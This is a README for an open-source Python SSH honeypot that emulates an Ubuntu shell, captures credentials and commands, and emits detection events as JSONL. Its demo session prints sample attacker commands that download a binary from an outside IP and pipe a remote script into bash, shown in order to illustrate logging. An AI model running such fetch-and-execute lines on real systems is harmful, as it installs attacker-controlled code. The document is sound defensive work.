A from-scratch, medium-interaction SSH honeypot that records what attackers do, not just who knocks.
decoy-ssh terminates the real SSH protocol, lets brute-forcers "in", and hands
them a convincing fake Ubuntu shell — while logging every credential, command,
and payload URL as structured JSON. Nothing an attacker types is ever
executed. Commands are answered from an in-memory fake filesystem, so the
sensor is safe to expose.
Same interaction model as Cowrie, built here in ~2,000 lines of readable, dependency-light Python you can actually extend.
Most homegrown honeypots stop at "accept the connection, log the password."
That tells you who is scanning, but the interesting intelligence is what
happens after login: which payloads get pulled, where persistence gets
planted, what the botnet's post-exploitation script actually does. decoy-ssh
is built around capturing that second act — and turning it into detection-ready
telemetry.
- Real SSH, fake shell. Genuine handshake, key exchange, and auth via
paramiko; everything past auth is emulated. A real OpenSSH client connects, gets a PTY, and never touches a real process. - 177 emulated commands —
ls,cat,wget,curl,ps,uname,crontab,systemctl, pipelines,$(...), redirects,&&/||, and more. - Credential capture on every attempt, accepted or not, plus offered public-key fingerprints (a durable actor ID, often more stable than IP).
- Payload interception — URLs from
wget/curlare recorded, never fetched;curl … | shdroppers have their piped script captured verbatim. - Behavioural detection — persistence (
authorized_keys, cron, systemd,/etc/passwd), anti-forensics (history -c, log deletion), and lateral movement (outboundssh, port forwarding) each raise a typed event. - Credential bait — files like
/root/.ssh/id_rsaand.aws/credentialshold per-sensor-unique fakes; reading one is a high-signal event, and if the value ever surfaces elsewhere you know exactly where it leaked from. - Structured JSONL with a stable event taxonomy and severity levels, ready to ship into Wazuh / Elastic / Loki with no parser.
- Full session replay — a byte-exact transcript of every PTY session.
- Read-only web console (FastAPI) — credentials, payload URLs, timeline, and click-to-replay per session, fully decoupled from the live sensor.
- Safe by design — per-session copy-on-write filesystem (attackers can't see or sabotage each other), no code execution, output caps, subshell-depth limits, and never a leaked Python traceback.
git clone https://github.com/<you>/decoy-ssh.git
cd decoy-ssh
make install # venv + paramiko, pyyaml, fastapi, uvicorn
make test # 19 offline tests, no network requiredRun the sensor (port 2222 by default — see config.yaml):
make serve # honeypot only
make all # honeypot + web console on 127.0.0.1:8080Point a client at it — try a wrong password, then 123456, and you're "in":
ssh -p 2222 root@localhostNo network at all? Drive the emulated shell directly:
make shell # or: python3 -m decoyssh shellroot@web-prod-03:~# uname -a
Linux web-prod-03 5.15.0-105-generic #115-Ubuntu SMP ... x86_64 GNU/Linux
root@web-prod-03:~# cd /tmp && wget http://45.9.148.99/x86 -O .a && chmod +x .a
--2026-08-22 16:05:52-- http://45.9.148.99/x86
Connecting to 45.9.148.99|...|:80... connected.
HTTP request sent, awaiting response... 200 OK
Saving to: '.a' ... saved [279237/279237]
root@web-prod-03:~# curl -s http://45.9.148.99/i.sh | bash
...produces, in var/log/decoyssh-YYYY-MM-DD.jsonl:
{"ts":"2026-08-22T16:05:51.402Z","event":"auth.success","severity":"medium","username":"root","password":"123456","attempt":3}
{"ts":"2026-08-22T16:05:52.113Z","event":"download.attempt","severity":"high","url":"http://45.9/x86","tool":"wget"}
{"ts":"2026-08-22T16:05:52.640Z","event":"download.piped_to_shell","severity":"critical","url":"http://45.9/i.sh","interpreter":"bash"} attacker ── SSH ──▶ sshd.py ────────▶ shell.py ──▶ commands.py
(paramiko: (parser, (177 emulated
real crypto, pipes, commands +
auth policy, redirects, detection hooks)
PTY line editor) substitution) │
│ ▼
└──────────▶ events.py ◀──────── vfs.py
(JSONL, one (per-session
line per event) copy-on-write FS)
analytics.py + dashboard.py read the JSONL files only — fully decoupled from
the live sensor, so they also work on logs shipped from a remote host.
| Module | Responsibility |
|---|---|
decoyssh/sshd.py |
SSH transport, auth policy, PTY line editing, session lifecycle |
decoyssh/shell.py |
Command-line grammar: quoting, $(), pipes, ;/&&/||, redirects |
decoyssh/commands.py |
The 177 emulated commands and the detection hooks inside them |
decoyssh/vfs.py |
In-memory fake filesystem with credential bait files |
decoyssh/events.py |
Thread-safe JSONL event log with the severity taxonomy |
decoyssh/analytics.py |
Read-side aggregation over the log |
decoyssh/dashboard.py |
FastAPI read-only web console |
config.yaml |
Sensor identity, auth policy, timeouts, paths |
Events are named on a stable dotted scheme so your detection rules have a contract to sit on. Highlights:
| Event | Severity | Meaning |
|---|---|---|
auth.success / auth.failed |
medium / low | A credential attempt |
auth.pubkey_offered |
medium | Public key offered (fingerprint captured) |
command.input |
medium | A command the attacker ran |
download.attempt |
high | wget/curl to a URL (not fetched) |
download.piped_to_shell |
critical | curl … | sh — the dropper's script is captured |
persistence.attempt |
critical | Write to authorized_keys, cron, systemd, etc. |
credential.harvest |
medium | A bait credential file was read |
lateral.outbound_attempt |
high | Outbound ssh/scp (lateral movement) |
antiforensics.* |
— | history -c, log deletion, firewall tampering |
Everything lives in config.yaml:
sensor.*— the hostname / OS / kernel the fake shell reports. Change these per deployment so multiple sensors are distinguishable in your logs.auth.mode— how credentials are accepted:nth_attempt(default) — fail a couple of tries, then let weak creds in, so the sensor behaves like a host with a genuinely guessable password.weak_list— accept only credentials from the configured lists.any— accept the first credential offered.deny_all— never accept (credential-harvesting only).
ssh.server_version— the banner. Must look plausible for the claimed OS.
Warning
A honeypot is deliberately attractive to attackers. Run it in isolation and never on a host you can't afford to have probed.
- Never run it on port 22 as root. Bind an unprivileged port and redirect
with
deploy/nftables-redirect.sh— move your real sshd to another port first and confirm you can still log in, or you will lock yourself out. - Run it under the hardened unit in
deploy/decoy-ssh.service— a locked-down service account,ProtectSystem=strict, no capabilities, seccomp filter. - Put it on an isolated VLAN with egress filtering. The honeypot fetches nothing, but defence in depth protects the host itself.
- Ship
var/log/*.jsonlto your SIEM.
Add a command by registering a handler in commands.py:
@command("nmap")
def cmd_nmap(ctx, argv):
ctx.emit("recon.portscan", argv=" ".join(argv)) # raise a detection event
ctx.write("Starting Nmap 7.80 ...\n") # write plausible output
return 0ctx gives you the fake filesystem (ctx.vfs), the event emitter (ctx.emit),
the current user, and stdin from a pipe (ctx.stdin).
- HTTP and Telnet listeners on the same event bus (Telnet ≈ IoT/Mirai traffic)
- GeoIP / ASN enrichment in
analytics.py - Downloaded-payload hashing + MalwareBazaar lookup
- Sigma rules mapped to the event taxonomy
Only deploy on infrastructure you own or are authorised to run a honeypot on. A honeypot records everyone who connects — understand your jurisdiction's rules on logging, and on serving the bait credentials it hands out. This project is for defensive security research, blue-team training, and authorised testing.
MIT — see LICENSE.